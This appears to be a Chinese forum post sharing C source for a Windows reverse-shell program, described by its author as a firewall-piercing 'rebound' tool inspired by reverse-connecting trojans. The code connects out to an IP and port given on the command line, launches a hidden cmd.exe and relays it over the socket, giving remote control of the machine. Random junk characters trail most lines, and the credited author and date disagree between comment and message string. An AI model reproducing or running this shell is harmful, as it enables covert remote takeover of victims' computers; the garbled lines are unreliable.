这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y,
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/* ============================== tBUQf*B
Rebound port in Windows NT t"vO&+x
By wind,2006/7 Z6@J-<u
===============================*/ 'yjH~F.
#include !#s7 F
#include O +}EE^*a
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#pragma comment(lib,"wsock32.lib") &nw~gSe
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void OutputShell(); YEoT_>A$dB
SOCKET sClient; V
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;7*@Gf}R
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void main(int argc,char **argv)
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{ ~y^lNgujO
WSADATA stWsaData; <&Xq`i/(
int nRet; R*C+Yk)Tkt
SOCKADDR_IN stSaiClient,stSaiServer; Dx)XC?'xO
/ {~h?P}
if(argc != 3) lc#zS_
{ g}KZL-p4\m
printf("Useage:\n\rRebound DestIP DestPort\n"); *uM*)6O 3
return; bu9&sQ;
} s4k%ty}
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WSAStartup(MAKEWORD(2,2),&stWsaData); o^6 j(~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MCG~{#`
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stSaiClient.sin_family = AF_INET; =)5a=^
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stSaiClient.sin_port = htons(0); @23x;x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =6YO!B>7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) shZ<j7gqI
{ 8QBL:7<
printf("Bind Socket Failed!\n"); 6\@, Lb
return; DK%eFCo<~
} gi >{`.]
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stSaiServer.sin_family = AF_INET; PaJwM%s)L
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $O!<Zz
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _8`;Xgp
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0+i,,^x.
{ 1 to<at-NN
printf("Connect Error!"); ibw;BU
return; EBLoRW=8ld
} K 5[ 3WHQ
OutputShell(); bOKNWI
} h!GixN?
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void OutputShell() Jj:4@p:
{ X
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char szBuff[1024]; Q6>( Z
SECURITY_ATTRIBUTES stSecurityAttributes; Or>[_3
OSVERSIONINFO stOsversionInfo; zxdO3I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4gENV{L
STARTUPINFO stStartupInfo; x0GZ2*vfsb
char *szShell; e84TLU?~
PROCESS_INFORMATION stProcessInformation; DL_\luh
unsigned long lBytesRead; u)pBFs<dn
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AFED YRX
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); T,>e\
stSecurityAttributes.lpSecurityDescriptor = 0; |;yb *
stSecurityAttributes.bInheritHandle = TRUE; r%n[PK^(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); hBu=40K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mo$*KNW%\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k>`X!
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stStartupInfo.wShowWindow = SW_HIDE; &pz8vWCk
stStartupInfo.hStdInput = hReadPipe; 4[q *7m
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; JK`P
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GetVersionEx(&stOsversionInfo); {{,%p#/b
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switch(stOsversionInfo.dwPlatformId) A?zW!'
{ Efl+`6`J
case 1: a06DeRCej
szShell = "command.com"; oMbCljUC
break; kpu^:N&
default: (C%'I
szShell = "cmd.exe"; B"v=Fr[
break; [4e5(!e
} 8 Hn{CJ~'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +n dyR
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send(sClient,szMsg,77,0); D6WsEd>
while(1) \2!$HA7P
{ <~OyV5:6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ND>}t#^$
if(lBytesRead) _#:1Axx1
{ 0*^Fk=>ej
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u@B"*V~K
send(sClient,szBuff,lBytesRead,0); n21J7;\/+
} lTXU
else #UQ[8e
{ 7@?b _
lBytesRead=recv(sClient,szBuff,1024,0); 2}t wt
if(lBytesRead<=0) break; icmDPq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f]}F_]
} }UrtDXhA
} 2 OTpGl
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return; 85mQHZ8aR
}